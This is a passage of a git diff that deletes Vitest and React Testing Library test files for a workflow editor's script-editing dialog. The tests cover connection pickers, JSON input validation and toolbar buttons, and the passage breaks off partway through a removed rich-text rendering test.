+++ /dev/null
@@ -1,200 +0,0 @@
-import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import PropertyCodeEditorDialogRightPanelConnectionsPopover from '../PropertyCodeEditorDialogRightPanelConnectionsPopover';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockSetOpen: vi.fn(),
-        storeState: {
-            componentDefinitions: [
-                {icon: 'slack-icon', name: 'slack', title: 'Slack', version: 1},
-                {icon: 'github-icon', name: 'github', title: 'GitHub', version: 2},
-            ],
-            open: false,
-        },
-    };
-});
-
-vi.mock('../hooks/usePropertyCodeEditorDialogRightPanelConnectionsPopover', () => ({
-    default: () => ({
-        componentDefinitions: hoisted.storeState.componentDefinitions,
-        form: {
-            control: {},
-            formState: {errors: {}},
-            handleSubmit: (callback: (values: unknown) => void) => (event?: {preventDefault?: () => void}) => {
-                event?.preventDefault?.();
-                callback({componentName: 'slack', componentVersion: 1, name: 'mySlack'});
-            },
-            reset: vi.fn(),
-            setValue: vi.fn(),
-        },
-        open: hoisted.storeState.open,
-        setOpen: hoisted.mockSetOpen,
-    }),
-}));
-
-vi.mock('@/components/ComboBox', () => ({
-    default: ({
-        items,
-        name,
-        onChange,
-        value,
-    }: {
-        items: Array<{label: string; value: string}>;
-        name: string;
-        onChange: (item: {componentDefinition: {name: string; version: number}}) => void;
-        value?: string;
-    }) => (
-        <div data-testid="combo-box">
-            <select
-                data-testid={`combo-box-select-${name}`}
-                onChange={(event) => {
-                    const selectedItem = items.find((item) => item.value === event.target.value);
-
-                    if (selectedItem) {
-                        onChange({componentDefinition: {name: selectedItem.value, version: 1}});
-                    }
-                }}
-                value={value}
-            >
-                {items.map((item) => (
-                    <option key={item.value} value={item.value}>
-                        {item.label}
-                    </option>
-                ))}
-            </select>
-        </div>
-    ),
-}));
-
-vi.mock('@/components/ui/form', () => ({
-    Form: ({children, ...props}: {children: React.ReactNode}) => <form {...props}>{children}</form>,
-    FormControl: ({children}: {children: React.ReactNode}) => <div data-testid="form-control">{children}</div>,
-    FormField: ({
-        name,
-        render,
-    }: {
-        control: unknown;
-        name: string;
-        render: (props: {field: {onBlur: () => void; value: string}}) => React.ReactNode;
-    }) => <div data-testid={`form-field-${name}`}>{render({field: {onBlur: vi.fn(), value: ''}})}</div>,
-    FormItem: ({children}: {children: React.ReactNode}) => <div data-testid="form-item">{children}</div>,
-    FormLabel: ({children}: {children: React.ReactNode}) => <label>{children}</label>,
-    FormMessage: () => <span data-testid="form-message" />,
-}));
-
-vi.mock('@/components/ui/popover', () => ({
-    Popover: ({children, open}: {children: React.ReactNode; onOpenChange: (open: boolean) => void; open: boolean}) => (
-        <div data-open={open} data-testid="popover">
-            {children}
-        </div>
-    ),
-    PopoverContent: ({children}: {children: React.ReactNode}) => <div data-testid="popover-content">{children}</div>,
-    PopoverTrigger: ({children}: {asChild?: boolean; children: React.ReactNode}) => (
-        <div data-testid="popover-trigger">{children}</div>
-    ),
-}));
-
-vi.mock('@radix-ui/react-popover', () => ({
-    PopoverClose: ({children, onClick}: {asChild?: boolean; children: React.ReactNode; onClick?: () => void}) => (
-        <div data-testid="popover-close" onClick={onClick}>
-            {children}
-        </div>
-    ),
-}));
-
-describe('PropertyCodeEditorDialogRightPanelConnectionsPopover', () => {
-    const defaultProps = {
-        onSubmit: vi.fn(),
-    };
-
-    beforeEach(() => {
-        windowResizeObserver();
-        hoisted.storeState.open = false;
-    });
-
-    afterEach(() => {
-        resetAll();
-        vi.clearAllMocks();
-    });
-
-    describe('rendering', () => {
-        it('should render the popover', () => {
-            render(<PropertyCodeEditorDialogRightPanelConnectionsPopover {...defaultProps} />);
-
-            expect(screen.getByTestId('popover')).toBeInTheDocument();
-        });
-
-        it('should render the trigger button', () => {
-            render(<PropertyCodeEditorDialogRightPanelConnectionsPopover {...defaultProps} />);
-
-            expect(screen.getByTestId('popover-trigger')).toBeInTheDocument();
-        });
-
-        it('should render Add Component header', () => {
-            render(<PropertyCodeEditorDialogRightPanelConnectionsPopover {...defaultProps} />);
-
-            // There are two "Add Component" texts - one in header, one in button
-            expect(screen.getAllByText('Add Component').length).toBeGreaterThanOrEqual(1);
-        });
-
-        it('should render name form field', () => {
-            render(<PropertyCodeEditorDialogRightPanelConnectionsPopover {...defaultProps} />);
-
-            expect(screen.getByTestId('form-field-name')).toBeInTheDocument();
-            expect(screen.getByText('Name')).toBeInTheDocument();
-        });
-
-        it('should render componentName form field', () => {
-            render(<PropertyCodeEditorDialogRightPanelConnectionsPopover {...defaultProps} />);
-
-            expect(screen.getByTestId('form-field-componentName')).toBeInTheDocument();
-            expect(screen.getByText('Component')).toBeInTheDocument();
-        });
-
-        it('should render Add button', () => {
-            render(<PropertyCodeEditorDialogRightPanelConnectionsPopover {...defaultProps} />);
-
-            expect(screen.getByRole('button', {name: 'Add'})).toBeInTheDocument();
-        });
-    });
-
-    describe('custom trigger node', () => {
-        it('should render custom trigger when provided', () => {
-            render(
-                <PropertyCodeEditorDialogRightPanelConnectionsPopover
-                    {...defaultProps}
-                    triggerNode={<button data-testid="custom-trigger">Custom Trigger</button>}
-                />
-            );
-
-            expect(screen.getByTestId('custom-trigger')).toBeInTheDocument();
-        });
-    });
-
-    describe('form submission', () => {
-        it('should call onSubmit when form is submitted', async () => {
-            const user = userEvent.setup();
-            const mockOnSubmit = vi.fn();
-
-            render(<PropertyCodeEditorDialogRightPanelConnectionsPopover {...defaultProps} onSubmit={mockOnSubmit} />);
-
-            await user.click(screen.getByRole('button', {name: 'Add'}));
-
-            expect(mockOnSubmit).toHaveBeenCalledWith({
-                componentName: 'slack',
-                componentVersion: 1,
-                name: 'mySlack',
-            });
-        });
-    });
-
-    describe('close button', () => {
-        it('should render close button', () => {
-            render(<PropertyCodeEditorDialogRightPanelConnectionsPopover {...defaultProps} />);
-
-            expect(screen.getByTestId('popover-close')).toBeInTheDocument();
-        });
-    });
-});
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/tests/PropertyCodeEditorDialogRightPanelConnectionsSelect.test.tsx b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/tests/PropertyCodeEditorDialogRightPanelConnectionsSelect.test.tsx
deleted file mode 100644
index 1daacd5de22..00000000000
--- a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/tests/PropertyCodeEditorDialogRightPanelConnectionsSelect.test.tsx
+++ /dev/null
@@ -1,245 +0,0 @@
-import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import PropertyCodeEditorDialogRightPanelConnectionsSelect from '../PropertyCodeEditorDialogRightPanelConnectionsSelect';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockHandleValueChange: vi.fn(),
-        mockSetShowNewConnectionDialog: vi.fn(),
-        mockUseCreateConnectionMutation: vi.fn(),
-        mockUseGetConnectionTagsQuery: vi.fn(),
-        storeState: {
-            componentDefinition: {
-                connection: {version: 1},
-                name: 'slack',
-                title: 'Slack',
-                version: 1,
-            },
-            componentDefinitions: [{name: 'slack', title: 'Slack', version: 1}],
-            connectionId: undefined as number | undefined,
-            connections: [
-                {environmentId: 1, id: 1, name: 'Slack Connection 1', tags: [{name: 'Production'}]},
-                {environmentId: 2, id: 2, name: 'Slack Connection 2', tags: [{name: 'Development'}]},
-            ],
-            showNewConnectionDialog: false,
-        },
-    };
-});
-
-vi.mock('../hooks/usePropertyCodeEditorDialogRightPanelConnectionsSelect', () => ({
-    default: () => ({
-        ConnectionKeys: {
-            connectionTags: ['connectionTags'],
-            connections: ['connections'],
-        },
-        componentDefinition: hoisted.storeState.componentDefinition,
-        componentDefinitions: hoisted.storeState.componentDefinitions,
-        connectionId: hoisted.storeState.connectionId,
-        connections: hoisted.storeState.connections,
-        handleValueChange: hoisted.mockHandleValueChange,
-        setShowNewConnectionDialog: hoisted.mockSetShowNewConnectionDialog,
-        showNewConnectionDialog: hoisted.storeState.showNewConnectionDialog,
-        useCreateConnectionMutation: hoisted.mockUseCreateConnectionMutation,
-        useGetConnectionTagsQuery: hoisted.mockUseGetConnectionTagsQuery,
-    }),
-}));
-
-vi.mock('@/components/ui/select', () => ({
-    Select: ({
-        children,
-        onValueChange,
-        value,
-    }: {
-        children: React.ReactNode;
-        onValueChange: (value: string) => void;
-        required?: boolean;
-        value?: string;
-    }) => (
-        <div data-testid="select" data-value={value}>
-            {children}
-
-            <button data-testid="trigger-change" onClick={() => onValueChange('1')}>
-                Trigger Change
-            </button>
-        </div>
-    ),
-    SelectContent: ({children}: {children: React.ReactNode}) => <div data-testid="select-content">{children}</div>,
-    SelectItem: ({children, value}: {children: React.ReactNode; value: string}) => (
-        <div data-testid={`select-item-${value}`} data-value={value}>
-            {children}
-        </div>
-    ),
-    SelectTrigger: ({children}: {children: React.ReactNode}) => <div data-testid="select-trigger">{children}</div>,
-    SelectValue: ({placeholder}: {placeholder: string}) => <span data-testid="select-value">{placeholder}</span>,
-}));
-
-vi.mock('@/shared/components/EnvironmentBadge', () => ({
-    default: ({environmentId}: {environmentId: number}) => (
-        <span data-testid={`env-badge-${environmentId}`}>Env {environmentId}</span>
-    ),
-}));
-
-vi.mock('@/shared/components/connection/ConnectionDialog', () => ({
-    default: ({onClose}: {onClose: () => void}) => (
-        <div data-testid="connection-dialog">
-            Connection Dialog
-            <button data-testid="close-dialog-btn" onClick={onClose}>
-                Close
-            </button>
-        </div>
-    ),
-}));
-
-describe('PropertyCodeEditorDialogRightPanelConnectionsSelect', () => {
-    const defaultProps = {
-        componentConnection: {
-            componentName: 'slack',
-            componentVersion: 1,
-            key: 'slack_1',
-            required: true,
-            workflowNodeName: 'testNode',
-        },
-        workflowId: 'workflow-1',
-        workflowNodeName: 'testNode',
-        workflowTestConfigurationConnection: undefined,
-    };
-
-    beforeEach(() => {
-        windowResizeObserver();
-        hoisted.storeState.connectionId = undefined;
-        hoisted.storeState.showNewConnectionDialog = false;
-    });
-
-    afterEach(() => {
-        resetAll();
-        vi.clearAllMocks();
-    });
-
-    describe('rendering', () => {
-        it('should render the select component', () => {
-            render(<PropertyCodeEditorDialogRightPanelConnectionsSelect {...defaultProps} />);
-
-            expect(screen.getByTestId('select')).toBeInTheDocument();
-        });
-
-        it('should render the select trigger', () => {
-            render(<PropertyCodeEditorDialogRightPanelConnectionsSelect {...defaultProps} />);
-
-            expect(screen.getByTestId('select-trigger')).toBeInTheDocument();
-        });
-
-        it('should render placeholder', () => {
-            render(<PropertyCodeEditorDialogRightPanelConnectionsSelect {...defaultProps} />);
-
-            expect(screen.getByText('Choose Connection...')).toBeInTheDocument();
-        });
-
-        it('should render create new connection button', () => {
-            render(<PropertyCodeEditorDialogRightPanelConnectionsSelect {...defaultProps} />);
-
-            expect(screen.getByTitle('Create a new connection')).toBeInTheDocument();
-        });
-    });
-
-    describe('connections list', () => {
-        it('should render connection items', () => {
-            render(<PropertyCodeEditorDialogRightPanelConnectionsSelect {...defaultProps} />);
-
-            expect(screen.getByTestId('select-item-1')).toBeInTheDocument();
-            expect(screen.getByTestId('select-item-2')).toBeInTheDocument();
-        });
-
-        it('should display connection names', () => {
-            render(<PropertyCodeEditorDialogRightPanelConnectionsSelect {...defaultProps} />);
-
-            expect(screen.getByText('Slack Connection 1')).toBeInTheDocument();
-            expect(screen.getByText('Slack Connection 2')).toBeInTheDocument();
-        });
-
-        it('should display connection tags', () => {
-            render(<PropertyCodeEditorDialogRightPanelConnectionsSelect {...defaultProps} />);
-
-            expect(screen.getByText('Production')).toBeInTheDocument();
-            expect(screen.getByText('Development')).toBeInTheDocument();
-        });
-
-        it('should render environment badges', () => {
-            render(<PropertyCodeEditorDialogRightPanelConnectionsSelect {...defaultProps} />);
-
-            expect(screen.getByTestId('env-badge-1')).toBeInTheDocument();
-            expect(screen.getByTestId('env-badge-2')).toBeInTheDocument();
-        });
-    });
-
-    describe('value change', () => {
-        it('should call handleValueChange when value changes', async () => {
-            const user = userEvent.setup();
-
-            render(<PropertyCodeEditorDialogRightPanelConnectionsSelect {...defaultProps} />);
-
-            await user.click(screen.getByTestId('trigger-change'));
-
-            expect(hoisted.mockHandleValueChange).toHaveBeenCalledWith(1, 'slack_1');
-        });
-    });
-
-    describe('create new connection button', () => {
-        it('should call setShowNewConnectionDialog when clicked', async () => {
-            const user = userEvent.setup();
-
-            render(<PropertyCodeEditorDialogRightPanelConnectionsSelect {...defaultProps} />);
-
-            await user.click(screen.getByTitle('Create a new connection'));
-
-            expect(hoisted.mockSetShowNewConnectionDialog).toHaveBeenCalledWith(true);
-        });
-    });
-
-    describe('connection dialog', () => {
-        it('should render connection dialog when showNewConnectionDialog is true', () => {
-            hoisted.storeState.showNewConnectionDialog = true;
-
-            render(<PropertyCodeEditorDialogRightPanelConnectionsSelect {...defaultProps} />);
-
-            expect(screen.getByTestId('connection-dialog')).toBeInTheDocument();
-        });
-
-        it('should not render connection dialog when showNewConnectionDialog is false', () => {
-            hoisted.storeState.showNewConnectionDialog = false;
-
-            render(<PropertyCodeEditorDialogRightPanelConnectionsSelect {...defaultProps} />);
-
-            expect(screen.queryByTestId('connection-dialog')).not.toBeInTheDocument();
-        });
-
-        it('should call setShowNewConnectionDialog(false) when dialog is closed', async () => {
-            const user = userEvent.setup();
-            hoisted.storeState.showNewConnectionDialog = true;
-
-            render(<PropertyCodeEditorDialogRightPanelConnectionsSelect {...defaultProps} />);
-
-            await user.click(screen.getByTestId('close-dialog-btn'));
-
-            expect(hoisted.mockSetShowNewConnectionDialog).toHaveBeenCalledWith(false);
-        });
-    });
-
-    describe('selected value', () => {
-        it('should show selected connection ID', () => {
-            hoisted.storeState.connectionId = 1;
-
-            render(<PropertyCodeEditorDialogRightPanelConnectionsSelect {...defaultProps} />);
-
-            expect(screen.getByTestId('select')).toHaveAttribute('data-value', '1');
-        });
-
-        it('should show undefined value when no connection selected', () => {
-            hoisted.storeState.connectionId = undefined;
-
-            render(<PropertyCodeEditorDialogRightPanelConnectionsSelect {...defaultProps} />);
-
-            expect(screen.getByTestId('select')).not.toHaveAttribute('data-value', '1');
-        });
-    });
-});
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/tests/PropertyCodeEditorDialogRightPanelInput.test.tsx b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/tests/PropertyCodeEditorDialogRightPanelInput.test.tsx
deleted file mode 100644
index 3a981d3ba37..00000000000
--- a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/tests/PropertyCodeEditorDialogRightPanelInput.test.tsx
+++ /dev/null
@@ -1,295 +0,0 @@
-import {act, fireEvent, render, resetAll, screen, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import PropertyCodeEditorDialogRightPanelInput from '../PropertyCodeEditorDialogRightPanelInput';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockSetInputParameters: vi.fn(),
-    };
-});
-
-vi.mock('../stores/usePropertyCodeEditorDialogStore', () => ({
-    usePropertyCodeEditorDialogStore: (selector: (state: unknown) => unknown) =>
-        selector({
-            setInputParameters: hoisted.mockSetInputParameters,
-        }),
-}));
-
-let mockOnChange: ((value: string | undefined) => void) | null = null;
-
-vi.mock('@/shared/components/MonacoEditorWrapper', () => ({
-    default: ({
-        onChange,
-        value,
-    }: {
-        className?: string;
-        defaultLanguage: string;
-        onChange: (value: string | undefined) => void;
-        onMount: (editor: {updateOptions: (options: object) => void}) => void;
-        value?: string;
-    }) => {
-        mockOnChange = onChange;
-
-        return (
-            <div data-testid="monaco-editor">
-                <span data-testid="editor-value">{value}</span>
-
-                <button
-                    data-testid="change-value-btn"
-                    onClick={() => {
-                        onChange('{"changed": true}');
-                    }}
-                >
-                    Change
-                </button>
-            </div>
-        );
-    },
-}));
-
-vi.mock('@/shared/components/MonacoEditorLoader', () => ({
-    default: () => <div data-testid="monaco-loader">Loading...</div>,
-}));
-
-describe('PropertyCodeEditorDialogRightPanelInput', () => {
-    beforeEach(() => {
-        windowResizeObserver();
-        mockOnChange = null;
-    });
-
-    afterEach(() => {
-        resetAll();
-        vi.clearAllMocks();
-    });
-
-    describe('rendering', () => {
-        it('should render the Input title', () => {
-            render(<PropertyCodeEditorDialogRightPanelInput input={{}} />);
-
-            expect(screen.getByText('Input')).toBeInTheDocument();
-        });
-    });
-
-    describe('when input is empty', () => {
-        it('should display no defined entries message', () => {
-            render(<PropertyCodeEditorDialogRightPanelInput input={{}} />);
-
-            expect(screen.getByText('No defined entries')).toBeInTheDocument();
-        });
-    });
-
-    describe('when input has entries', () => {
-        it('should not display no defined entries message', () => {
-            const input = {
-                name: 'John',
-                value: 'test',
-            };
-
-            render(<PropertyCodeEditorDialogRightPanelInput input={input} />);
-
-            expect(screen.queryByText('No defined entries')).not.toBeInTheDocument();
-        });
-
-        it('should render editor container for non-empty input', () => {
-            const input = {
-                name: 'John',
-                value: 'test',
-            };
-
-            render(<PropertyCodeEditorDialogRightPanelInput input={input} />);
-
-            expect(screen.getByTestId('input-editor-container')).toBeInTheDocument();
-        });
-
-        it('should render editor container for nested objects', () => {
-            const input = {
-                item: {
-                    field1: 'sample',
-                    field2: 123,
-                },
-            };
-
-            render(<PropertyCodeEditorDialogRightPanelInput input={input} />);
-
-            expect(screen.getByTestId('input-editor-container')).toBeInTheDocument();
-        });
-
-        it('should render editor container for numeric and boolean values', () => {
-            const input = {
-                count: 42,
-                disabled: false,
-                enabled: true,
-            };
-
-            render(<PropertyCodeEditorDialogRightPanelInput input={input} />);
-
-            expect(screen.getByTestId('input-editor-container')).toBeInTheDocument();
-        });
-    });
-
-    describe('reset behavior', () => {
-        it('should not show reset button when editor value matches input', async () => {
-            const input = {name: 'John'};
-
-            render(<PropertyCodeEditorDialogRightPanelInput input={input} />);
-
-            await screen.findByTestId('monaco-editor');
-
-            expect(screen.queryByTitle('Reset to original')).not.toBeInTheDocument();
-        });
-
-        it('should show reset button when editor value changes', async () => {
-            const input = {name: 'John'};
-
-            render(<PropertyCodeEditorDialogRightPanelInput input={input} />);
-
-            const changeButton = await screen.findByTestId('change-value-btn');
-
-            fireEvent.click(changeButton);
-
-            expect(screen.getByTitle('Reset to original')).toBeInTheDocument();
-        });
-
-        it('should hide reset button and restore original value after clicking reset', async () => {
-            const input = {name: 'John'};
-
-            render(<PropertyCodeEditorDialogRightPanelInput input={input} />);
-
-            const changeButton = await screen.findByTestId('change-value-btn');
-
-            fireEvent.click(changeButton);
-
-            expect(screen.getByTitle('Reset to original')).toBeInTheDocument();
-
-            fireEvent.click(screen.getByTitle('Reset to original'));
-
-            expect(screen.queryByTitle('Reset to original')).not.toBeInTheDocument();
-            expect(screen.getByTestId('editor-value').textContent).toBe(JSON.stringify(input, null, 2));
-        });
-    });
-
-    describe('JSON validation', () => {
-        it('should display error for invalid JSON', async () => {
-            const input = {name: 'John'};
-
-            render(<PropertyCodeEditorDialogRightPanelInput input={input} />);
-
-            await screen.findByTestId('monaco-editor');
-
-            act(() => {
-                mockOnChange!('not valid json');
-            });
-
-            expect(screen.getByText('Invalid JSON')).toBeInTheDocument();
-        });
-
-        it('should display error when JSON is an array', async () => {
-            const input = {name: 'John'};
-
-            render(<PropertyCodeEditorDialogRightPanelInput input={input} />);
-
-            await screen.findByTestId('monaco-editor');
-
-            act(() => {
-                mockOnChange!('[1, 2, 3]');
-            });
-
-            expect(screen.getByText('JSON must be an object')).toBeInTheDocument();
-        });
-
-        it('should display error when JSON is a string', async () => {
-            const input = {name: 'John'};
-
-            render(<PropertyCodeEditorDialogRightPanelInput input={input} />);
-
-            await screen.findByTestId('monaco-editor');
-
-            act(() => {
-                mockOnChange!('"just a string"');
-            });
-
-            expect(screen.getByText('JSON must be an object')).toBeInTheDocument();
-        });
-
-        it('should display error when JSON is a number', async () => {
-            const input = {name: 'John'};
-
-            render(<PropertyCodeEditorDialogRightPanelInput input={input} />);
-
-            await screen.findByTestId('monaco-editor');
-
-            act(() => {
-                mockOnChange!('42');
-            });
-
-            expect(screen.getByText('JSON must be an object')).toBeInTheDocument();
-        });
-
-        it('should display error when JSON is null', async () => {
-            const input = {name: 'John'};
-
-            render(<PropertyCodeEditorDialogRightPanelInput input={input} />);
-
-            await screen.findByTestId('monaco-editor');
-
-            act(() => {
-                mockOnChange!('null');
-            });
-
-            expect(screen.getByText('JSON must be an object')).toBeInTheDocument();
-        });
-
-        it('should not update input parameters on invalid JSON', async () => {
-            const input = {name: 'John'};
-
-            render(<PropertyCodeEditorDialogRightPanelInput input={input} />);
-
-            await screen.findByTestId('monaco-editor');
-
-            hoisted.mockSetInputParameters.mockClear();
-
-            act(() => {
-                mockOnChange!('not valid json');
-            });
-
-            expect(hoisted.mockSetInputParameters).not.toHaveBeenCalled();
-        });
-
-        it('should update input parameters on valid JSON object', async () => {
-            const input = {name: 'John'};
-
-            render(<PropertyCodeEditorDialogRightPanelInput input={input} />);
-
-            await screen.findByTestId('monaco-editor');
-
-            hoisted.mockSetInputParameters.mockClear();
-
-            act(() => {
-                mockOnChange!('{"updated": true}');
-            });
-
-            expect(hoisted.mockSetInputParameters).toHaveBeenCalledWith({updated: true});
-        });
-
-        it('should clear error when valid JSON object is entered after invalid input', async () => {
-            const input = {name: 'John'};
-
-            render(<PropertyCodeEditorDialogRightPanelInput input={input} />);
-
-            await screen.findByTestId('monaco-editor');
-
-            act(() => {
-                mockOnChange!('not valid json');
-            });
-
-            expect(screen.getByText('Invalid JSON')).toBeInTheDocument();
-
-            act(() => {
-                mockOnChange!('{"valid": true}');
-            });
-
-            expect(screen.queryByText('Invalid JSON')).not.toBeInTheDocument();
-        });
-    });
-});
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/tests/PropertyCodeEditorDialogToolbar.test.tsx b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/tests/PropertyCodeEditorDialogToolbar.test.tsx
deleted file mode 100644
index 2a453ae4626..00000000000
--- a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/tests/PropertyCodeEditorDialogToolbar.test.tsx
+++ /dev/null
@@ -1,204 +0,0 @@
-import {TooltipProvider} from '@/components/ui/tooltip';
-import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import PropertyCodeEditorDialogToolbar from '../PropertyCodeEditorDialogToolbar';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockHandleCopilotClick: vi.fn(),
-        mockHandleRunClick: vi.fn(),
-        mockHandleSaveClick: vi.fn(),
-        mockHandleStopClick: vi.fn(),
-        storeState: {
-            copilotEnabled: true,
-            dirty: false,
-            saving: false,
-            scriptIsRunning: false,
-        },
-    };
-});
-
-vi.mock('../hooks', () => ({
-    usePropertyCodeEditorDialogToolbar: () => ({
-        copilotEnabled: hoisted.storeState.copilotEnabled,
-        dirty: hoisted.storeState.dirty,
-        handleCopilotClick: hoisted.mockHandleCopilotClick,
-        handleRunClick: hoisted.mockHandleRunClick,
-        handleSaveClick: hoisted.mockHandleSaveClick,
-        handleStopClick: hoisted.mockHandleStopClick,
-        saving: hoisted.storeState.saving,
-        scriptIsRunning: hoisted.storeState.scriptIsRunning,
-    }),
-}));
-
-vi.mock('@/components/ui/dialog', () => ({
-    DialogClose: ({children}: {children: React.ReactNode}) => <div data-testid="dialog-close">{children}</div>,
-}));
-
-const renderWithProviders = (ui: React.ReactElement) => {
-    return render(<TooltipProvider>{ui}</TooltipProvider>);
-};
-
-describe('PropertyCodeEditorDialogToolbar', () => {
-    const defaultProps = {
-        language: 'javascript',
-        onChange: vi.fn(),
-        workflowId: 'workflow-1',
-        workflowNodeName: 'testNode',
-    };
-
-    beforeEach(() => {
-        windowResizeObserver();
-        hoisted.storeState.copilotEnabled = true;
-        hoisted.storeState.dirty = false;
-        hoisted.storeState.saving = false;
-        hoisted.storeState.scriptIsRunning = false;
-    });
-
-    afterEach(() => {
-        resetAll();
-        vi.clearAllMocks();
-    });
-
-    describe('rendering', () => {
-        it('should render the title', () => {
-            renderWithProviders(<PropertyCodeEditorDialogToolbar {...defaultProps} />);
-
-            expect(screen.getByText('Edit Script')).toBeInTheDocument();
-        });
-
-        it('should render save button', () => {
-            renderWithProviders(<PropertyCodeEditorDialogToolbar {...defaultProps} />);
-
-            // Save button should exist
-            const buttons = screen.getAllByRole('button');
-
-            expect(buttons.length).toBeGreaterThan(0);
-        });
-
-        it('should render close button', () => {
-            renderWithProviders(<PropertyCodeEditorDialogToolbar {...defaultProps} />);
-
-            expect(screen.getByTestId('dialog-close')).toBeInTheDocument();
-        });
-    });
-
-    describe('save button', () => {
-        it('should be disabled when not dirty', () => {
-            hoisted.storeState.dirty = false;
-
-            renderWithProviders(<PropertyCodeEditorDialogToolbar {...defaultProps} />);
-
-            // Find save button by checking all buttons
-            const buttons = screen.getAllByRole('button');
-            const saveButton = buttons[0]; // Save button is typically first
-
-            expect(saveButton).toBeDisabled();
-        });
-
-        it('should be enabled when dirty and not saving', () => {
-            hoisted.storeState.dirty = true;
-            hoisted.storeState.saving = false;
-
-            renderWithProviders(<PropertyCodeEditorDialogToolbar {...defaultProps} />);
-
-            const buttons = screen.getAllByRole('button');
-            const saveButton = buttons[0];
-
-            expect(saveButton).not.toBeDisabled();
-        });
-
-        it('should call handleSaveClick when clicked', async () => {
-            const user = userEvent.setup();
-            hoisted.storeState.dirty = true;
-
-            renderWithProviders(<PropertyCodeEditorDialogToolbar {...defaultProps} />);
-
-            const buttons = screen.getAllByRole('button');
-            const saveButton = buttons[0];
-
-            await user.click(saveButton);
-
-            expect(hoisted.mockHandleSaveClick).toHaveBeenCalledTimes(1);
-        });
-    });
-
-    describe('run button', () => {
-        it('should be disabled when dirty', () => {
-            hoisted.storeState.dirty = true;
-            hoisted.storeState.scriptIsRunning = false;
-
-            renderWithProviders(<PropertyCodeEditorDialogToolbar {...defaultProps} />);
-
-            // The run button is second after save
-            const buttons = screen.getAllByRole('button');
-            const runButton = buttons[1];
-
-            expect(runButton).toBeDisabled();
-        });
-    });
-
-    describe('stop button', () => {
-        it('should render stop button when script is running', () => {
-            hoisted.storeState.scriptIsRunning = true;
-
-            renderWithProviders(<PropertyCodeEditorDialogToolbar {...defaultProps} />);
-
-            const buttons = screen.getAllByRole('button');
-
-            // Check for destructive button variant presence
-            expect(buttons.length).toBeGreaterThan(0);
-        });
-
-        it('should call handleStopClick when clicked', async () => {
-            const user = userEvent.setup();
-            hoisted.storeState.scriptIsRunning = true;
-
-            renderWithProviders(<PropertyCodeEditorDialogToolbar {...defaultProps} />);
-
-            const buttons = screen.getAllByRole('button');
-            // Find the destructive/stop button
-            const stopButton = buttons.find(
-                (button) => button.classList.contains('bg-destructive') || button.className.includes('destructive')
-            );
-
-            if (stopButton) {
-                await user.click(stopButton);
-
-                expect(hoisted.mockHandleStopClick).toHaveBeenCalledTimes(1);
-            }
-        });
-    });
-
-    describe('copilot button', () => {
-        it('should be present when copilot is enabled', () => {
-            hoisted.storeState.copilotEnabled = true;
-
-            renderWithProviders(<PropertyCodeEditorDialogToolbar {...defaultProps} />);
-
-            const buttons = screen.getAllByRole('button');
-
-            // More buttons when copilot is enabled
-            expect(buttons.length).toBeGreaterThanOrEqual(3);
-        });
-
-        it('should call handleCopilotClick when clicked', async () => {
-            const user = userEvent.setup();
-            hoisted.storeState.copilotEnabled = true;
-            hoisted.storeState.scriptIsRunning = false;
-
-            renderWithProviders(<PropertyCodeEditorDialogToolbar {...defaultProps} />);
-
-            const buttons = screen.getAllByRole('button');
-            // Copilot button has specific class
-            const copilotButton = buttons.find((button) => button.classList.contains('[&_svg]:size-5'));
-
-            if (copilotButton) {
-                await user.click(copilotButton);
-
-                expect(hoisted.mockHandleCopilotClick).toHaveBeenCalledTimes(1);
-            }
-        });
-    });
-});
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-mentions-input/PropertyMentionsInput.test.tsx b/client/src/pages/platform/workflow-editor/components/properties/components/property-mentions-input/PropertyMentionsInput.test.tsx
index b69985d62f4..91f95b9dbaf 100644
--- a/client/src/pages/platform/workflow-editor/components/properties/components/property-mentions-input/PropertyMentionsInput.test.tsx
+++ b/client/src/pages/platform/workflow-editor/components/properties/components/property-mentions-input/PropertyMentionsInput.test.tsx
@@ -365,177 +365,4 @@ describe('PropertyMentionsInput', () => {
         // Clean up
         unmount();
     });
-
-    test('RICH_TEXT decodes entity-encoded HTML/XML and renders as formatted content', async () => {
-        useWorkflowDataStore.setState({
-            workflow: {
-                id: 'wf-rich-text-html',
-                nodeNames: ['trigger_1'],
-            },
-        } as unknown as Partial<ReturnType<typeof useWorkflowDataStore.getState>>);
-
-        const dummyMutation = {} as unknown as UseMutationResult<unknown, Error, unknown, unknown>;
-        const updateWorkflowNodeParameterMutation = dummyMutation as unknown as UseMutationResult<
-            DeleteClusterElementParameter200Response,
-            Error,
-            UpdateWorkflowNodeParameterOperationRequest,
-            unknown
-        >;
-        const updateClusterElementParameterMutation = dummyMutation as unknown as UseMutationResult<
-            DeleteClusterElementParameter200Response,
-            Error,
-            UpdateClusterElementParameterOperationRequest,
-            unknown
-        >;
-
-        const entityEncodedHtml = '&lt;strong&gt;foo&lt;/strong&gt;';
-
-        render(
-            <WorkflowEditorProvider
-                value={{
-                    ConnectionKeys: {
-                        connection: () => [],
-                        connectionTags: [],
-                        connections: [],
-                        filteredConnections: () => [],
-                    },
